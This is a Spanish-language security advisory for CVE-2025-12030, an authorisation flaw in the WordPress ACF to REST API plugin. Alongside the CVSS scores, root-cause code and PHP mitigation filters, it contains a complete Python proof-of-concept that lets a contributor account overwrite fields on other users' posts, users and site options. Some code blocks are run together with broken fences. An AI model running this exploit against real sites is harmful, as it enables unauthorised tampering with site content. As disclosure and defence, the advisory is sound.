| Métrica | Valor |
|--------|-------|
| Vector de ataque | Red (AV:N) |
| Complejidad de ataque | Baja (AC:L) |
| Privilegios requeridos | Bajos (PR:L) |
| Interacción del usuario | Ninguna (UI:N) |
| Alcance | No cambia (S:U) |
| Confidencialidad | Ninguna (C:N) |
| Integridad | Baja (I:L) |
| Disponibilidad | Ninguna (A:N) |

**Desglose de CVSS v3.1:**

- **Vector de ataque (AV):** Red - La vulnerabilidad puede explotarse de forma remota a través de una red
- **Complejidad de ataque (AC):** Baja - No se requieren condiciones especiales para la explotación
- **Privilegios requeridos (PR):** Bajos - Requiere autenticación de nivel Colaborador
- **Interacción del usuario (UI):** Ninguna - La explotación funciona sin interacción del usuario
- **Alcance (S):** No cambia - La vulnerabilidad solo afecta al componente vulnerable
- **Impacto de confidencialidad (C):** Ninguno - No hay divulgación de información
- **Impacto de integridad (I):** Bajo - Modificación no autorizada de los campos ACF
- **Impacto de disponibilidad (A):** Ninguno - Sin impacto en la disponibilidad

## Detalles técnicos

### Causa raíz de la vulnerabilidad

La vulnerabilidad existe en el método `update_item_permissions_check()` el cual realiza una autorización insuficiente:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

### Endpoints Vulnerables

| Endpoint | Objetivo | Capacidad Requerida (Debería Ser) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Entradas | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Páginas | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Usuarios | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Comentarios | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Términos | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Opciones | `manage_options` |

### Vector de Ataque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

### PoC en Python```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

add_filter('rest_endpoints', function($endpoints) {
    // Remove ACF REST API endpoints
    if (isset($endpoints['acf/v3'])) {
        unset($endpoints['acf/v3']);
    }
    if (isset($endpoints['acf/v3/options'])) {
        unset($endpoints['acf/v3/options']);
    }
    return $endpoints;
});
``````php
<?php
/**
 * Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
 */
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
    // Only allow administrators to modify via REST API
    if (!current_user_can('manage_options')) {
        return new WP_Error(
            'rest_forbidden',
            __('You do not have permission to modify ACF fields via REST API.'),
            array('status' => 403)
        );
    }
    return $permission;
}, 10, 3);